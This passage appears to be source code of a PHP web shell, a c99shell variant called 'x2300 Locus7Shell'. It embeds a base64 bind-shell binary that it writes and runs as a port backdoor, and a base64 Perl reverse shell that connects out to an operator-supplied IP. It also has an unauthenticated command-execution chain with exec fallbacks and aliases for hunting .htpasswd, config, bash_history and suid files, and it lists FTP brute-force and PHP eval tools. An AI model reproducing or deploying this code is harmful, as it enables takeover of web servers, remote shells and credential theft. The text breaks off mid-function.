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8AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A\"; function checkproxyhost(){ $host = getenv(\"HTTP_HOST\"); $filename = \'/tmp/.setan/xh\'; if (file_exists($filename)) { $_POST[\'proxyhostmsg\']=\"

Success!

$host:6543

Note: If \'$host\' have a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won\'t be able to connect to this proxy.

\"; } else { $_POST[\'proxyhostmsg\']=\"

Failed!

Note: If for some reason we would not create and extract the need proxy files in \'/tmp\' this will make this fail.

\"; } } if (!empty($_POST[\'backconnectport\']) && ($_POST[\'use\']==\"shbd\")) { $ip = gethostbyname($_SERVER[\"HTTP_HOST\"]); $por = $_POST[\'backconnectport\']; if(is_writable(\".\")){ cfb(\"shbd\",$backdoor); ex(\"chmod 777 shbd\"); $cmd = \"./shbd $por\"; exec(\"$cmd > /dev/null &\"); $scan = myshellexec(\"ps aux\"); if(eregi(\"./shbd $por\",$scan)){ $data = (\"\\n

Process found running, backdoor setup successfully.\"); }elseif(eregi(\"./shbd $por\",$scan)){ $data = (\"\\n
Process not found running, backdoor not setup successfully.\"); } $_POST[\'backcconnmsg\']=\"To connect, use netcat and give it the command \'nc $ip $por\'.$data\"; }else{ cfb(\"/tmp/shbd\",$backdoor); ex(\"chmod 777 /tmp/shbd\"); $cmd = \"./tmp/shbd $por\"; exec(\"$cmd > /dev/null &\"); $scan = myshellexec(\"ps aux\"); if(eregi(\"./shbd $por\",$scan)){ $data = (\"\\n

Process found running, backdoor setup successfully.\"); }elseif(eregi(\"./shbd $por\",$scan)){ $data = (\"\\n
Process not found running, backdoor not setup successfully.\"); } $_POST[\'backcconnmsg\']=\"To connect, use netcat and give it the command \'nc $ip $por\'.$data\"; } } if (!empty($_POST[\'backconnectip\']) && !empty($_POST[\'backconnectport\']) && ($_POST[\'use\']==\"Perl\")) { if(is_writable(\".\")){ cf(\"back\",$back_connect); $p2=which(\"perl\"); $blah = ex($p2.\" back \".$_POST[\'backconnectip\'].\" \".$_POST[\'backconnectport\'].\" &\"); $_POST[\'backcconnmsg\']=\"Trying to connect to \".$_POST[\'backconnectip\'].\" on port \".$_POST[\'backconnectport\'].\".\"; if (file_exists(\"back\")) { unlink(\"back\"); } }else{ cf(\"/tmp/back\",$back_connect); $p2=which(\"perl\"); $blah = ex($p2.\" /tmp/back \".$_POST[\'backconnectip\'].\" \".$_POST[\'backconnectport\'].\" &\"); $_POST[\'backcconnmsg\']=\"Trying to connect to \".$_POST[\'backconnectip\'].\" on port \".$_POST[\'backconnectport\'].\".\"; if (file_exists(\"/tmp/back\")) { unlink(\"/tmp/back\"); } } } if (!empty($_POST[\'backconnectip\']) && !empty($_POST[\'backconnectport\']) && ($_POST[\'use\']==\"C\")) { if(is_writable(\".\")){ cf(\"backc\",$back_connect_c); ex(\"chmod 777 backc\"); //$blah = ex(\"gcc back.c -o backc\"); $blah = ex(\"./backc \".$_POST[\'backconnectip\'].\" \".$_POST[\'backconnectport\'].\" &\"); $_POST[\'backcconnmsg\']=\"Trying to connect to \".$_POST[\'backconnectip\'].\" on port \".$_POST[\'backconnectport\'].\".\"; //if (file_exists(\"back.c\")) { unlink(\"back.c\"); } if (file_exists(\"backc\")) { unlink(\"backc\"); } }else{ ex(\"chmod 777 /tmp/backc\"); cf(\"/tmp/backc\",$back_connect_c); //$blah = ex(\"gcc -o /tmp/backc /tmp/back.c\"); $blah = ex(\"/tmp/backc \".$_POST[\'backconnectip\'].\" \".$_POST[\'backconnectport\'].\" &\"); $_POST[\'backcconnmsg\']=\"Trying to connect to \".$_POST[\'backconnectip\'].\" on port \".$_POST[\'backconnectport\'].\".\"; //if (file_exists(\"back.c\")) { unlink(\"back.c\"); } if (file_exists(\"/tmp/backc\")) { unlink(\"/tmp/backc\"); } } } function cf($fname,$text) { $w_file=@fopen($fname,\"w\") or err(); if($w_file) { @fputs($w_file,@base64_decode($text)); @fclose($w_file); } } function cfb($fname,$text) { $w_file=@fopen($fname,\"w\") or bberr(); if($w_file) { @fputs($w_file,@base64_decode($text)); @fclose($w_file); } } function err() { $_POST[\'backcconnmsge\']=\"

Error: Can\'t connect!\"; } function bberr() { $_POST[\'backcconnmsge\']=\"

Error: Can\'t backdoor host!\"; } function which($pr) { $path = ex(\"which $pr\"); if(!empty($path)) { return $path; } else { return $pr; } } function ex($cfe) { $res = \'\'; if (!empty($cfe)) { if(function_exists(\'exec\')) { @exec($cfe,$res); $res = join(\"\\n\",$res); } elseif(function_exists(\'shell_exec\')) { $res = @shell_exec($cfe); } elseif(function_exists(\'system\')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists(\'passthru\')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,\"r\"))) { $res = \"\"; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } //EoW //Start Enumerate function //function ENUMERATE() $hostname_x=php_uname(n); $itshome = getcwd(); $itshome = str_replace(\"/home/\",\"~\",$itshome); $itshome = str_replace(\"/public_html\",\"/x2300.php\",$itshome); $enumerate = \"http://\".$hostname_x.\"/\".$itshome.\"\"; //End Enumerate function //Starting calls ini_set(\"max_execution_time\",0); if (!function_exists(\"getmicrotime\")) {function getmicrotime() {list($usec, $sec) = explode(\" \", microtime()); return ((float)$usec + (float)$sec);}} error_reporting(5); $adires=\"\"; @ignore_user_abort(TRUE); @set_magic_quotes_runtime(0); $win = strtolower(substr(PHP_OS,0,3)) == \"win\"; define(\"starttime\",getmicrotime()); if (get_magic_quotes_gpc()) {if (!function_exists(\"strips\")) {function strips(&$arr,$k=\"\") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != \"GLOBALS\") {strips($arr[\"$k\"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} $shver = \"1.0a beta\"; //Current version //CONFIGURATION AND SETTINGS if (!empty($unset_surl)) {setcookie(\"c99sh_surl\"); $surl = \"\";} elseif (!empty($set_surl)) {$surl = $set_surl; setcookie(\"c99sh_surl\",$surl);} else {$surl = $_REQUEST[\"c99sh_surl\"]; //Set this cookie for manual SURL } $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. if ($surl_autofill_include and !$_REQUEST[\"c99sh_surl\"]) {$include = \"&\"; foreach (explode(\"&\",getenv(\"QUERY_STRING\")) as $v) {$v = explode(\"=\",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array(\"http://\",\"https://\",\"ssl://\",\"ftp://\",\"\\\\\\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name).\"=\".urlencode($value).\"&\";}}} if ($_REQUEST[\"surl_autofill_include\"]) {$includestr .= \"surl_autofill_include=1&\";}} if (empty($surl)) { $surl = \"?\".$includestr; //Self url } $surl = htmlspecialchars($surl); $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. //Authentication $login = \"\"; //login //DON\'T FORGOT ABOUT PASSWORD!!! $pass = \"\"; //password $md5_pass = \"\"; //md5-cryped pass. if null, md5($pass) $host_allow = array(\"*\"); //array (\"{mask}1\",\"{mask}2\",...), {mask} = IP or HOST e.g. array(\"192.168.0.*\",\"127.0.0.1\") $login_txt = \"Restricted area\"; //http-auth message. $accessdeniedmess = \"x2300 Locus7Shell v.\".$shver.\": access denied\"; $gzipencode = TRUE; //Encode with gzip? $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) $c99sh_updateurl = \"http://locus7s.com/files/lshell_update/\"; //Update server $c99sh_sourcesurl = \"http://locus7s.com/\"; //Sources-server $filestealth = TRUE; //if TRUE, don\'t change modify- and access-time $donated_html = \"
x2300 Locus7Shell Modified by #!physx^
\"; /* If you publish free shell and you wish add link to your site or any other information, put here your html. */ $donated_act = array(\"\"); //array (\"act1\",\"act2,\"...), if $act is in this array, display $donated_html. $curdir = \"./\"; //start folder //$curdir = getenv(\"DOCUMENT_ROOT\"); $tmpdir = \"\"; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) $tmpdir_log = \"./\"; //Directory logs of long processes (e.g. brute, scan...) $log_email = \"user@host.tld\"; //Default e-mail for sending logs $sort_default = \"0a\"; //Default sorting, 0 - number of colomn, \"a\"scending or \"d\"escending $sort_save = TRUE; //If TRUE then save sorting-position using cookies. // Registered file-types. // array( // \"{action1}\"=>array(\"ext1\",\"ext2\",\"ext3\",...), // \"{action2}\"=>array(\"ext4\",\"ext5\",\"ext6\",...), // ... // ) $ftypes = array( \"html\"=>array(\"html\",\"htm\",\"shtml\"), \"txt\"=>array(\"txt\",\"conf\",\"bat\",\"sh\",\"js\",\"bak\",\"doc\",\"log\",\"sfc\",\"cfg\",\"htaccess\"), \"exe\"=>array(\"sh\",\"install\",\"bat\",\"cmd\"), \"ini\"=>array(\"ini\",\"inf\"), \"code\"=>array(\"php\",\"phtml\",\"php3\",\"php4\",\"inc\",\"tcl\",\"h\",\"c\",\"cpp\",\"py\",\"cgi\",\"pl\"), \"img\"=>array(\"gif\",\"png\",\"jpeg\",\"jfif\",\"jpg\",\"jpe\",\"bmp\",\"ico\",\"tif\",\"tiff\",\"avi\",\"mpg\",\"mpeg\"), \"sdb\"=>array(\"sdb\"), \"phpsess\"=>array(\"sess\"), \"download\"=>array(\"exe\",\"com\",\"pif\",\"src\",\"lnk\",\"zip\",\"rar\",\"gz\",\"tar\") ); // Registered executable file-types. // array( // string \"command{i}\"=>array(\"ext1\",\"ext2\",\"ext3\",...), // ... // ) // {command}: %f% = filename $dizin = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$dizin); if (empty($dizin)) {$dizin = realpath(\".\");} elseif(realpath($dizin)) {$dizin = realpath($dizin);} $dizin = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$dizin); if (substr($dizin,-1) != DIRECTORY_SEPARATOR) {$dizin .= DIRECTORY_SEPARATOR;} $dizin = str_replace(\"\\\\\\\\\",\"\\\\\",$dizin); $dizinispd = htmlspecialchars($dizin); /*dizin*/ $real = realpath($dizinispd); $path = basename ($PHP_SELF); function dosyayicek($link,$file) { $fp = @fopen($link,\"r\"); while(!feof($fp)) { $cont.= fread($fp,1024); } fclose($fp); $fp2 = @fopen($file,\"w\"); fwrite($fp2,$cont); fclose($fp2); } $exeftypes = array( getenv(\"PHPRC\").\" -q %f%\" => array(\"php\",\"php3\",\"php4\"), \"perl %f%\" => array(\"pl\",\"cgi\") ); /* Highlighted files. array( i=>array({regexp},{type},{opentag},{closetag},{break}) ... ) string {regexp} - regular exp. int {type}: 0 - files and folders (as default), 1 - files only, 2 - folders only string {opentag} - open html-tag, e.g. \"\" (default) string {closetag} - close html-tag, e.g. \"\" (default) bool {break} - if TRUE and found match then break */ $regxp_highlight = array( array(basename($_SERVER[\"PHP_SELF\"]),1,\"\",\"\"), // example array(\"config.php\",1) // example ); $safemode_diskettes = array(\"a\"); // This variable for disabling diskett-errors. // array (i=>{letter} ...); string {letter} - letter of a drive //$safemode_diskettes = range(\"a\",\"z\"); $hexdump_lines = 8;// lines in hex preview file $hexdump_rows = 24;// 16, 24 or 32 bytes in one line $nixpwdperpage = 100; // Get first N lines from /etc/passwd $bindport_pass = \"c99\"; // default password for binding $bindport_port = \"31373\"; // default port for binding $bc_port = \"31373\"; // default port for back-connect $datapipe_localport = \"8081\"; // default port for datapipe $back_connect=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==\"; // Command-aliases if (!$win) { $cmdaliases = array( array(\"-----------------------------------------------------------\", \"ls -la\"), array(\"find all suid files\", \"find / -type f -perm -04000 -ls\"), array(\"find suid files in current dir\", \"find . -type f -perm -04000 -ls\"), array(\"find all sgid files\", \"find / -type f -perm -02000 -ls\"), array(\"find sgid files in current dir\", \"find . -type f -perm -02000 -ls\"), array(\"find config.inc.php files\", \"find / -type f -name config.inc.php\"), array(\"find config* files\", \"find / -type f -name \\\"config*\\\"\"), array(\"find config* files in current dir\", \"find . -type f -name \\\"config*\\\"\"), array(\"find all writable folders and files\", \"find / -perm -2 -ls\"), array(\"find all writable folders and files in current dir\", \"find . -perm -2 -ls\"), array(\"find all service.pwd files\", \"find / -type f -name service.pwd\"), array(\"find service.pwd files in current dir\", \"find . -type f -name service.pwd\"), array(\"find all .htpasswd files\", \"find / -type f -name .htpasswd\"), array(\"find .htpasswd files in current dir\", \"find . -type f -name .htpasswd\"), array(\"find all .bash_history files\", \"find / -type f -name .bash_history\"), array(\"find .bash_history files in current dir\", \"find . -type f -name .bash_history\"), array(\"find all .fetchmailrc files\", \"find / -type f -name .fetchmailrc\"), array(\"find .fetchmailrc files in current dir\", \"find . -type f -name .fetchmailrc\"), array(\"list file attributes on a Linux second extended file system\", \"lsattr -va\"), array(\"show opened ports\", \"netstat -an | grep -i listen\") ); } else { $cmdaliases = array( array(\"-----------------------------------------------------------\", \"dir\"), array(\"show opened ports\", \"netstat -an\") ); } $sess_cookie = \"c99shvars\"; // Cookie-variable name $usefsbuff = TRUE; //Buffer-function $copy_unset = FALSE; //Remove copied files from buffer after pasting //Quick launch $quicklaunch = array( array(\"\\\"Home\\\"\",$surl), array(\"\\\"Back\\\"\",\"#\\\" onclick=\\\"history.back(1)\"), array(\"\\\"Forward\\\"\",\"#\\\" onclick=\\\"history.go(1)\"), array(\"\\\"UPDIR\\\"\",$surl.\"act=ls&d=%upd&sort=%sort\"), array(\"\\\"Refresh\\\"\",\"\"), array(\"\\\"Search\\\"\",$surl.\"act=search&d=%d\"), array(\"\\\"Buffer\\\"\",$surl.\"act=fsbuff&d=%d\"), array(\"
[Enumerate]\",$enumerate), array(\"[Encoder]\",$surl.\"act=encoder&d=%d\"), array(\"[Tools]\",$surl.\"act=tools&d=%d\"), array(\"[Proc.]\",$surl.\"act=processes&d=%d\"), array(\"[FTP Brute]\",$surl.\"act=ftpquickbrute&d=%d\"), array(\"[Sec.]\",$surl.\"act=security&d=%d\"), array(\"[SQL]\",$surl.\"act=sql&d=%d\"), array(\"[PHP-Code]\",$surl.\"act=eval&d=%d\"), array(\"[Backdoor Host]\",$surl.\"act=shbd\"), array(\"[Back-Connection]\",$surl.\"act=backc\"), array(\"[milw0rm it!]\",$millink), array(\"[PHP-Proxy]\",$phprox), array(\"[Self remove]
\",$surl.\"act=selfremove\") ); //Highlight-code colors $highlight_background = \"#c0c0c0\"; $highlight_bg = \"#FFFFFF\"; $highlight_comment = \"#6A6A6A\"; $highlight_default = \"#0000BB\"; $highlight_html = \"#1300FF\"; $highlight_keyword = \"#007700\"; $highlight_string = \"#000000\"; @$f = $_REQUEST[\"f\"]; @extract($_REQUEST[\"c99shcook\"]); //END CONFIGURATION // \\/Next code isn\'t for editing\\/ /*function ex($cfe) { $res = \'\'; if (!empty($cfe)) { if(function_exists(\'exec\')) { @exec($cfe,$res); $res = join(\"\\n\",$res); } elseif(function_exists(\'shell_exec\')) { $res = @shell_exec($cfe); } elseif(function_exists(\'system\')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists(\'passthru\')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,\"r\"))) { $res = \"\"; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; }*/ /*function which($pr) { $path = ex(\"which $pr\"); if(!empty($path)) { return $path; } else { return $pr; } } function cf($fname,$text) { $w_file=@fopen($fname,\"w\") or err(0); if($w_file) { @fputs($w_file,@base64_decode($text)); @fclose($w_file); } }*/ /*function err($n,$txt=\'\') { echo \'
\'; echo $GLOBALS[\'lang\'][$GLOBALS[\'language\'].\'_err\'.$n]; if(!empty($txt)) { echo \" $txt\"; } echo \'
\'; return null; }*/ @set_time_limit(0); $tmp = array(); foreach($host_allow as $k=>$v) {$tmp[] = str_replace(\"\\\\*\",\".*\",preg_quote($v));} $s = \"!^(\".implode(\"|\",$tmp).\")$!i\"; if (!preg_match($s,getenv(\"REMOTE_ADDR\")) and !preg_match($s,gethostbyaddr(getenv(\"REMOTE_ADDR\")))) {exit(\"x2300 Shell: Access Denied - your host (\".getenv(\"REMOTE_ADDR\").\") not allow\");} if (!empty($login)) { if (empty($md5_pass)) {$md5_pass = md5($pass);} if (($_SERVER[\"PHP_AUTH_USER\"] != $login) or (md5($_SERVER[\"PHP_AUTH_PW\"]) != $md5_pass)) { if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(\" |
\",\" \",$donated_html));} header(\"WWW-Authenticate: Basic realm=\\\"c99shell \".$shver.\": \".$login_txt.\"\\\"\"); header(\"HTTP/1.0 401 Unauthorized\"); exit($accessdeniedmess); } } if ($act != \"img\") { $lastdir = realpath(\".\"); chdir($curdir); if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} $sess_data = unserialize($_COOKIE[\"$sess_cookie\"]); if (!is_array($sess_data)) {$sess_data = array();} if (!is_array($sess_data[\"copy\"])) {$sess_data[\"copy\"] = array();} if (!is_array($sess_data[\"cut\"])) {$sess_data[\"cut\"] = array();} $disablefunc = @ini_get(\"disable_functions\"); if (!empty($disablefunc)) { $disablefunc = str_replace(\" \",\"\",$disablefunc); $disablefunc = explode(\",\",$disablefunc); } if (!function_exists(\"c99_buff_prepare\")) { function c99_buff_prepare() { global $sess_data; global $act; foreach($sess_data[\"copy\"] as $k=>$v) {$sess_data[\"copy\"][$k] = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,realpath($v));} foreach($sess_data[\"cut\"] as $k=>$v) {$sess_data[\"cut\"][$k] = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,realpath($v));} $sess_data[\"copy\"] = array_unique($sess_data[\"copy\"]); 